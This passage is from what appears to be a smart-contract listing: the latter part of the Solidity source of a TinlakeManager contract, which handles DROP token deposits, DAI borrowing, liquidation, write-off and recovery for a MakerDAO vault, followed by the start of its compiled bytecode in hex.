internal pure returns (uint256 z) { z = add(x, sub(y, 1)) / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x > y ? y : x; } // --- Gem Operation --- // moves the rwaToken into the vault // requires that mgr contract holds the rwaToken function lock(uint256 wad) public auth { GemLike(GemJoinLike(urn.gemJoin()).gem()).approve(address(urn), uint256(wad)); urn.lock(wad); } // removes the rwaToken from the vault function free(uint256 wad) public auth { urn.free(wad); } // --- DROP Operation --- // join & exit move the gem directly into/from the urn function join(uint256 wad) public auth { require(safe && live, "TinlakeManager/bad-state"); require(int256(wad) >= 0, "TinlakeManager/overflow"); gem.transferFrom(msg.sender, address(this), wad); emit Join(wad); } function exit(uint256 wad) public auth { require(safe && live, "TinlakeManager/bad-state"); require(wad <= 2 ** 255, "TinlakeManager/overflow"); gem.transfer(msg.sender, wad); emit Exit(wad); } // --- DAI Operation --- // draw & wipe call daiJoin.exit/join immediately function draw(uint256 wad) public auth { require(safe && live, "TinlakeManager/bad-state"); urn.draw(wad); dai.transfer(msg.sender, wad); emit Draw(wad); } function wipe(uint256 wad) public { require(safe && live, "TinlakeManager/bad-state"); dai.transferFrom(msg.sender, address(urn), wad); urn.wipe(wad); emit Wipe(wad); } // Take DAI from the urn in case there is any in the Urn // can be dealt with through migrate() after ES function quit() public auth { urn.quit(); } // --- Administration --- function migrate(address dst) public auth { dai.approve(dst, uint256(-1)); gem.approve(dst, uint256(-1)); live = false; emit Migrate(dst); } function file(bytes32 what, address data) public auth { emit File(what, data); if (what == "urn") { urn = MIP21UrnLike(data); dai.approve(data, uint256(-1)); } else if (what == "liq") { liq = MIP21LiquidationLike(data); } else if (what == "owner") { owner = data; } else if (what == "vow") { vow = data; } else if (what == "end") { end = EndLike(data); } else if (what == "pool") { pool = RedeemLike(data); } else if (what == "tranche") { tranche = data; } else revert("TinlakeMgr/file-unknown-param"); } // --- Liquidation --- // triggers a soft liquidation of the DROP collateral // a redeemOrder is submitted to receive DAI back function tell() public { require(safe, "TinlakeMgr/not-safe"); bytes32 ilk = GemJoinLike(urn.gemJoin()).ilk(); (,,, uint48 toc) = liq.ilks(ilk); require(toc != 0, "TinlakeMgr/not-liquidated"); (, uint256 art) = vat.urns(ilk, address(urn)); (, uint256 rate, , ,) = vat.ilks(ilk); tab = mul(art, rate); uint256 ink = gem.balanceOf(address(this)); safe = false; gem.approve(tranche, ink); pool.redeemOrder(ink); emit Tell(ink); } // triggers the payout of a DROP redemption // method can be called multiple times until all DROP is redeemed function unwind(uint256 endEpoch) public { require(!safe && glad && live, "TinlakeMgr/not-soft-liquidation"); (uint256 redeemed, , ,) = pool.disburse(endEpoch); bytes32 ilk = GemJoinLike(urn.gemJoin()).ilk(); (, uint256 art) = vat.urns(ilk, address(urn)); (, uint256 rate, , ,) = vat.ilks(ilk); uint256 tab_ = mul(art, rate); uint256 payBack = min(redeemed, divup(tab_, RAY)); dai.transferFrom(address(this), address(urn), payBack); urn.wipe(payBack); // Return possible remainder to the owner dai.transfer(owner, dai.balanceOf(address(this))); tab = sub(tab_, mul(payBack, RAY)); emit Unwind(payBack); } // --- Write-off --- // can be called after RwaLiquidationOracle.cull() function cull() public { require(!safe && glad && live, "TinlakeMgr/bad-state"); bytes32 ilk = GemJoinLike(urn.gemJoin()).ilk(); (uint256 ink, uint256 art) = vat.urns(ilk, address(urn)); require(ink == 0 && art == 0, "TinlakeMgr/not-written-off"); (,, uint48 tau, uint48 toc) = liq.ilks(ilk); require(toc != 0, "TinlakeMgr/not-liquidated"); require(block.timestamp >= add(toc, tau), "TinlakeMgr/early-cull"); glad = false; emit Cull(tab); } // recovers DAI from the Tinlake pool by triggering a payout // method can be called multiple times until all DROP is redeemed function recover(uint256 endEpoch) public { require(!glad, "TinlakeMgr/not-written-off"); (uint256 recovered, , ,) = pool.disburse(endEpoch); uint256 payBack; if (end.debt() == 0) { payBack = min(recovered, tab / RAY); dai.approve(address(daiJoin), payBack); daiJoin.join(vow, payBack); tab = sub(tab, mul(payBack, RAY)); } dai.transfer(owner, dai.balanceOf(address(this))); emit Recover(recovered, payBack); } function cage() external { require(!glad, "TinlakeMgr/bad-state"); require(wards[msg.sender] == 1 || vat.live() == 0, "TinlakeMgr/not-authorized"); live = false; emit Cage(); } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063957aa58c1161010f578063d8ccd0f3116100a2578063f4b9fa7511610071578063f4b9fa75146107e5578063faba8c3b1461082f578063fad898c214610879578063fc2b8cc3146108a7576101f0565b8063d8ccd0f314610721578063db9cd8d31461074f578063dd4670641461076d578063efbe1c1c1461079b576101f0565b8063bf353dbb116100de578063bf353dbb146105ed578063c11645bc14610645578063ce5494bb1461068f578063d4e8be83146106d3576101f0565b8063957aa58c14610537578063968e7953146105595780639c52a7f11461057b578063b38a1620146105bf576101f0565b806353d700e5116101875780636ebc0af1116101565780636ebc0af11461042b5780637bd2bea7146104755780637f8661a1146104bf5780638da5cb5b146104ed576101f0565b806353d700e514610389578063626cb3c51461039357806365fae35e146103dd5780636924500914610421576101f0565b806322121f58116101c357806322121f58146102bd5780632f8080de146102c757806336569e77146103115780633b3041471461035b576101f0565b8063049878f3146101f55780630ca356821461022357806316f0115b14610251578063186f03541461029b575b600080fd5b6102216004803603602081101561020b57600080fd5b81019080803590602001909291905050506108b1565b005b61024f6004803603602081101561023957600080fd5b8101908080359060200190929190505050610bc9565b005b610259611229565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102a361124f565b604051808215151515815260200191505060405180910390f35b6102c5611262565b005b6102cf6118d7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103196118fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103876004803603602081101561037157600080fd5b8101908080359060200190929190505050611923565b005b610391611c1d565b005b61039b6124b0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61041f600480360360208110156103f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124d6565b005b610429612614565b005b610433612842565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047d612868565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104eb600480360360208110156104d557600080fd5b810190808035906020019092919050505061288e565b005b6104f5612b91565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053f612bb7565b604051808215151515815260200191505060405180910390f35b610561612bca565b604051808215151515815260200191505060405180910390f35b6105bd6004803603602081101561059157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612bdc565b005b6105eb600480360360208110156105d557600080fd5b8101908080359060200190929190505050612d1a565b005b61062f6004803603602081101561060357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fb6565b6040518082815260200191505060405180910390f35b61064d612fce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106d1600480360360208110156106a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ff4565b005b61071f600480360360408110156106e957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613313565b005b61074d6004803603602081101561073757600080fd5b810190808035906020019092919050505061388a565b005b6107576139ce565b6040518082815260200191505060405180910390f35b6107996004803603602081101561078357600080fd5b81019080803590602001909291905050506139d4565b005b6107a3613d23565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107ed613d49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610837613d6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108a56004803603602081101561088f57600080fd5b8101908080359060200190929190505050613d95565b005b6108af61467b565b005b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610965576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b600160009054906101000a900460ff16801561098d5750600160029054906101000a900460ff165b6109ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54696e6c616b654d616e616765722f6261642d7374617465000000000000000081525060200191505060405180910390fd5b6000811215610a76576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f54696e6c616b654d616e616765722f6f766572666c6f7700000000000000000081525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610b5357600080fd5b505af1158015610b67573d6000803e3d6000fd5b505050506040513d6020811015610b7d57600080fd5b8101908080519060200190929190505050507f858d2e17a8121c939a8c52f6821c748d2592cc8ecd8e6afcda3fc4c84248002f816040518082815260200191505060405180910390a150565b6001809054906101000a900460ff1615610c4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f54696e6c616b654d67722f6e6f742d7772697474656e2d6f666600000000000081525060200191505060405180910390fd5b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd77ac2c836040518263ffffffff1660e01b815260040180828152602001915050608060405180830381600087803b158015610cc257600080fd5b505af1158015610cd6573d6000803e3d6000fd5b505050506040513d6080811015610cec57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291905050505050509050600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dca59c16040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610d8d57600080fd5b505af1158015610da1573d6000803e3d6000fd5b505050506040513d6020811015610db757600080fd5b8101908080519060200190929190505050141561100357610def826b033b2e3c9fd0803ce800000060025481610de957fe5b046147b3565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ebc57600080fd5b505af1158015610ed0573d6000803e3d6000fd5b505050506040513d6020811015610ee657600080fd5b810190808051906020019092919050505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633b4da69f600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610fc357600080fd5b505af1158015610fd7573d6000803e3d6000fd5b50505050610ffc600254610ff7836b033b2e3c9fd0803ce80000006147cc565b6147f8565b6002819055505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561110557600080fd5b505af1158015611119573d6000803e3d6000fd5b505050506040513d602081101561112f57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111a957600080fd5b505af11580156111bd573d6000803e3d6000fd5b505050506040513d60208110156111d357600080fd5b8101908080519060200190929190505050507f945a6f50c51e4c794dfbca655185828caa3416c52206ad59fb46940963c0c4a58282604051808381526020018281526020019250505060405180910390a1505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900460ff1681565b600160009054906101000a900460ff1615801561128a57506001809054906101000a900460ff165b80156112a25750600160029054906101000a900460ff165b611314576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54696e6c616b654d67722f6261642d737461746500000000000000000000000081525060200191505060405180910390fd5b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166301664f666040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561138057600080fd5b505af1158015611394573d6000803e3d6000fd5b505050506040513d60208110156113aa57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561140257600080fd5b505af1158015611416573d6000803e3d6000fd5b505050506040513d602081101561142c57600080fd5b81019080805190602001909291905050509050600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632424be5c84600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b15801561150c57600080fd5b505af1158015611520573d6000803e3d6000fd5b505050506040513d604081101561153657600080fd5b810190808051906020019092919080519060200190929190505050915091506000821480156115655750600081145b6115d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f54696e6c616b654d67722f6e6f742d7772697474656e2d6f666600000000000081525060200191505060405180910390fd5b600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36866040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561164f57600080fd5b505af1158015611663573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250608081101561168d57600080fd5b81019080805160405193929190846401000000008211156116ad57600080fd5b838201915060208201858111156116c357600080fd5b82518660018202830111640100000000821117156116e057600080fd5b8083526020830192505050908051906020019080838360005b838110156117145780820151818401526020810190506116f9565b50505050905090810190601f1680156117415780820380516001836020036101000a031916815260200191505b5060405260200180519060200190929190805190602001909291908051906020019092919050505093509350505060008165ffffffffffff1614156117ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d6c6971756964617465640000000000000081525060200191505060405180910390fd5b6118088165ffffffffffff168365ffffffffffff16614812565b42101561187d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f54696e6c616b654d67722f6561726c792d63756c6c000000000000000000000081525060200191505060405180910390fd5b60006001806101000a81548160ff0219169083151502179055507ff94111cbc0e0e4fd91b7b59cc1bfb186c7fd822567ee6963fa41582df5d0c8ff6002546040518082815260200191505060405180910390a15050505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146119d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b600160009054906101000a900460ff1680156119ff5750600160029054906101000a900460ff165b611a71576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54696e6c616b654d616e616765722f6261642d7374617465000000000000000081525060200191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633b304147826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611ae657600080fd5b505af1158015611afa573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ba757600080fd5b505af1158015611bbb573d6000803e3d6000fd5b505050506040513d6020811015611bd157600080fd5b8101908080519060200190929190505050507f3fd10e0b772395f38ab47fc59126002084ce1e04d2b65432f5c90bbd9e233999816040518082815260200191505060405180910390a150565b600160009054906101000a900460ff16611c9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f54696e6c616b654d67722f6e6f742d736166650000000000000000000000000081525060200191505060405180910390fd5b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166301664f666040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611d0b57600080fd5b505af1158015611d1f573d6000803e3d6000fd5b505050506040513d6020811015611d3557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611d8d57600080fd5b505af1158015611da1573d6000803e3d6000fd5b505050506040513d6020811015611db757600080fd5b810190808051906020019092919050505090506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611e4157600080fd5b505af1158015611e55573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506080811015611e7f57600080fd5b8101908080516040519392919084640100000000821115611e9f57600080fd5b83820191506020820185811115611eb557600080fd5b8251866001820283011164010000000082111715611ed257600080fd5b8083526020830192505050908051906020019080838360005b83811015611f06578082015181840152602081019050611eeb565b50505050905090810190601f168015611f335780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291908051906020019092919080519060200190929190505050935050505060008165ffffffffffff161415611fdf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d6c6971756964617465640000000000000081525060200191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632424be5c84600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b1580156120ab57600080fd5b505af11580156120bf573d6000803e3d6000fd5b505050506040513d60408110156120d557600080fd5b8101908080519060200190929190805190602001909291905050509150506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36856040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561216a57600080fd5b505af115801561217e573d6000803e3d6000fd5b505050506040513d60a081101561219457600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050505050509150506121dd82826147cc565b6002819055506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561228657600080fd5b505af115801561229a573d6000803e3d6000fd5b505050506040513d60208110156122b057600080fd5b810190808051906020019092919050505090506000600160006101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156123a957600080fd5b505af11580156123bd573d6000803e3d6000fd5b505050506040513d60208110156123d357600080fd5b810190808051906020019092919050505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634a58ca0e826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561245a57600080fd5b505af115801561246e573d6000803e3d6000fd5b505050507f740179f722c3e7a82062471e1e7cc2c5bf62b0bfafb3d95ae5e97f8605876e4b816040518082815260200191505060405180910390a15050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461258a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b6001809054906101000a900460ff1615612696576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54696e6c616b654d67722f6261642d737461746500000000000000000000000081525060200191505060405180910390fd5b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148061278757506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663957aa58c6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561274a57600080fd5b505af115801561275e573d6000803e3d6000fd5b505050506040513d602081101561277457600080fd5b8101908080519060200190929190505050145b6127f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b6000600160026101000a81548160ff0219169083151502179055507f2308ed18a14e800c39b86eb6ea43270105955ca385b603b64eca89f98ae8fbda60405160405180910390a1565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b600160009054906101000a900460ff16801561296a5750600160029054906101000a900460ff165b6129dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54696e6c616b654d616e616765722f6261642d7374617465000000000000000081525060200191505060405180910390fd5b7f8000000000000000000000000000000000000000000000000000000000000000811115612a72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f54696e6c616b654d616e616765722f6f766572666c6f7700000000000000000081525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612b1b57600080fd5b505af1158015612b2f573d6000803e3d6000fd5b505050506040513d6020811015612b4557600080fd5b8101908080519060200190929190505050507fb20101a10c7cc8d4a9b5accf3d34c34f89d53ec195fce51620af16429526c755816040518082815260200191505060405180910390a150565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160029054906101000a900460ff1681565b6001809054906101000a900460ff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612c90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b600160009054906101000a900460ff168015612d425750600160029054906101000a900460ff165b612db4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54696e6c616b654d616e616765722f6261642d7374617465000000000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612eb357600080fd5b505af1158015612ec7573d6000803e3d6000fd5b505050506040513d6020811015612edd57600080fd5b810190808051906020019092919050505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b38a1620826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015612f6457600080fd5b505af1158015612f78573d6000803e3d6000fd5b505050507fa73c45139e83076a25bae26e55528d4ccd00789363e6ac938f6750a608cf1285816040518082815260200191505060405180910390a150565b60006020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146130a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561317157600080fd5b505af1158015613185573d6000803e3d6000fd5b505050506040513d602081101561319b57600080fd5b810190808051906020019092919050505050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561327657600080fd5b505af115801561328a573d6000803e3d6000fd5b505050506040513d60208110156132a057600080fd5b8101908080519060200190929190505050506000600160026101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fd58a618a39de682696ea37dd9a6bf9c793afa426fa1438e75c3966e3b541e45a60405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146133c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16827f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba60405160405180910390a37f75726e000000000000000000000000000000000000000000000000000000000082141561357e5780600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561353d57600080fd5b505af1158015613551573d6000803e3d6000fd5b505050506040513d602081101561356757600080fd5b810190808051906020019092919050505050613886565b7f6c697100000000000000000000000000000000000000000000000000000000008214156135ec5780600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613885565b7f6f776e657200000000000000000000000000000000000000000000000000000082141561365a5780600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613884565b7f766f7700000000000000000000000000000000000000000000000000000000008214156136c85780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613883565b7f656e6400000000000000000000000000000000000000000000000000000000008214156137365780600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613882565b7f706f6f6c000000000000000000000000000000000000000000000000000000008214156137a45780600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613881565b7f7472616e63686500000000000000000000000000000000000000000000